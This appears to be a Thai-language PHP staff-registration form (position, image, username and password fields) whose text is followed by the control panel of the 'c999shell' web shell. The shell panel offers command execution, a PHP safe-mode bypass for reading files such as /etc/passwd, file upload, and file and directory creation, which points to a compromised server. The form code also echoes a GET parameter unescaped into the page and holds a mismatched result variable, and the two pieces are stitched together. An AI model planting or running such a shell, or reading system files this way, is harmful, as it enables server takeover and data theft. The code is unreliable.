              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">ตำแหน่งทางราชการ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                <input name="Gover_pos" type="text" class="input " id="Gover_pos"  size="20" />
                </font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                <select name="PositionId" id="PositionId">
                  <option value=""></option>
                  <?php
                  $sql4 
" SELECT *  FROM  position_tb    ORDER  BY  PositionId   ASC  ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                  <option value="<?=$rs4['PositionId'];?><?php if( $rs4['PositionId']==$rs['PositionId'] ) echo 'selected';?>>
                    <?=$rs4['Position_name'];?>
                    </option>
                  <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                </select>
                </font></strong></font></strong></font></td>
            </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#000066" face="Tahoma">ตำแหน่งการบริหาร</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><input name="Manage_pos" type="text" class="input " value="<?=$_GET['Manage_pos'];?>"  size="20" /></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td height="101" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">รูปภาพ</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15">&nbsp;</td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="63%" height="100" class="style15"><div align="center"><font face="Tahoma, MS Sans Serif">
                    <input name="Img1" type="file" id="Img1" onchange="browse()" />
                    </font> </div></td>
                  <td width="37%" style="padding-top:5px; padding-bottom:5px"><div align="center"><img src="../images/picture_preview.jpg " name="Imag1" width="100" height="100" id="Imag1" style="border:1px solid #999" /></div></td>
                  </tr>
                </table></td>
              </tr>
            <tr bgcolor="#B6D0F1">
              <td height="19" colspan="3" nowrap="nowrap" bordercolor="#CCCCCC"  background="../Image/centerpix.gif" bgcolor="#FFFFFF" class="style14"><div align="center" class="style15"><font color="#003366" face="Tahoma"><strong>ข้อมูลในเข้าระบบ</strong></font></div></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ชื่อผู้ใช้</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><input name="Username" type="text" class="input"  size="15" />
                <font color="#FF0000" face="Tahoma"> <strong> ควรอักษรภาษาอังกฤษ 
                  หรือ 0-9 อย่างน้อย 8 ตัวอักขระ </strong></font></td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">รหัสผ่าน</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14 style15"><input name="Password" type="password" class="input" id="Password"  size="15" />
                <font color="#FF0000" face="Tahoma"><strong>อย่างน้อย 6 ตัวอักขระ</strong></font> </td>
              </tr>
            <tr bgcolor="#ECF5FF">
              <td align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><font color="#003366" face="Tahoma">ยืนยันรหัสผ่าน</font></td>
              <td bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14 style15"><font color="#FF0000" face="Tahoma">*</font></td>
              <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF" class="style14"><input name="Password1" type="password" class="input " id="Password1"  size="15" /></td>
              </tr>
            <tr bgcolor="#CFE0F5">
              <td height="20" colspan="3" bgcolor="#FFFFFF"><div align="center">
                <input type="submit" name="Submit" value=" บันทึกข้อมูล" /> 
                &nbsp;
                <input type="reset" name="Reset" value=" เคลียร์ข้อมูล">
                </div></td>
              </tr>
            </table>
          </form></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0192 ]--